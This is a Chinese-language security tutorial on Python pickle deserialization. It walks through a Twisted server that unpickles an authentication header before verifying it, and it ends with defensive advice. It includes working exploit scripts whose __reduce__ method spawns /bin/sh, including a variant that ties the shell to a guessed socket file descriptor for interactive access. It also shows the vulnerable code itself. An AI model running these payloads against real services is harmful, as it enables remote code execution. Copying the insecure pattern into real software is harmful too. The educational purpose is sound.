误用Python “pickle”模块导致exploit
字数 1369 2025-08-26 22:11:28
Python pickle模块安全风险与利用分析
1. pickle模块概述
Python的pickle模块是一个强大的序列化和反序列化工具,能够将Python对象转换为字节流(序列化),以及从字节流重建对象(反序列化)。
主要功能
- 二进制数据的序列化
- Python数据类型的加载
- 支持几乎所有Python对象类型
官方警告
"Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source."
关键点:pickle模块设计上不考虑安全性,不能防止错误或恶意构造的数据。
2. 漏洞示例分析
漏洞代码示例
class VulnerableProtocol(protocol.Protocol):
def dataReceived(self, data):
# ...解析传入数据...
def verifyAuth(self, headers):
try:
token = cPickle.loads(base64.b64decode(headers['AuthToken']))
if not check_hmac(token['signature'], token['data'], getSecretKey()):
raise AuthenticationFailed
self.secure_data = token['data']
except:
raise AuthenticationFailed
漏洞点:
- 直接从HTTP头中获取AuthToken
- 对AuthToken进行base64解码后直接使用
cPickle.loads()反序列化 - 没有对pickle数据进行任何安全验证
3. 攻击原理
pickle反序列化执行任意代码
pickle允许对象通过定义__reduce__方法来声明如何被序列化。攻击者可以构造恶意pickle数据,在反序列化时执行任意代码。
攻击步骤
- 构造一个包含
__reduce__方法的恶意类 __reduce__方法返回一个元组,包含回调函数和参数- pickle在反序列化时会调用这个回调函数
4. 攻击实现
基本攻击代码
import cPickle
import subprocess
import base64
class RunBinSh(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/sh',),))
print base64.b64encode(cPickle.dumps(RunBinSh()))
解释:
- 构造一个
RunBinSh类,其__reduce__方法返回subprocess.Popen和参数('/bin/sh',) - 序列化后base64编码,可作为AuthToken发送
高级攻击:交互式shell获取
在Twisted等异步服务器中,需要处理文件描述符问题:
import cPickle
import subprocess
import base64
class Exploit(object):
def __reduce__(self):
fd = 20 # 猜测的文件描述符
return (subprocess.Popen,
(('/bin/sh',), # args
0, # bufsize
None, # executable
fd, fd, fd)) # std{in,out,err}
print base64.b64encode(cPickle.dumps(Exploit()))
技巧:
- 创建多个连接(如20个)以确保获得正确的文件描述符
- 将shell的stdin/stdout/stderr重定向到特定文件描述符
- 通过其中一个连接与shell交互
5. 防御措施
1. 避免使用pickle处理不可信数据
最佳实践:永远不要对来自不受信任来源的数据使用pickle.loads()或pickle.load()
2. 使用安全的替代方案
- JSON:对于简单数据结构
- XML:需要更复杂结构时
- MessagePack:需要二进制格式时
- PyYAML:注意也需要安全配置
3. 必须使用时采取的措施
如果必须使用pickle:
- 使用HMAC等机制验证数据完整性和来源
- 在沙箱环境中反序列化
- 限制反序列化的对象类型
4. 示例安全代码
import hmac
import hashlib
def safe_loads(pickle_data, secret_key):
# 先验证HMAC
data, signature = pickle_data['data'], pickle_data['signature']
if not hmac.compare_digest(
signature,
hmac.new(secret_key, data, hashlib.sha256).digest()):
raise AuthenticationFailed
# 再反序列化
return pickle.loads(data)
6. 总结
- pickle模块设计不考虑安全性,反序列化不可信数据会导致任意代码执行
- 攻击者可以通过构造包含
__reduce__方法的恶意类实现RCE - 在Twisted等异步服务器中,可以通过文件描述符重定向获取交互式shell
- 最佳防御是完全避免使用pickle处理不可信数据
- 必须使用时,应结合加密签名和严格验证
核心原则:永远不要反序列化不受信任或未经身份验证的来源的pickle数据。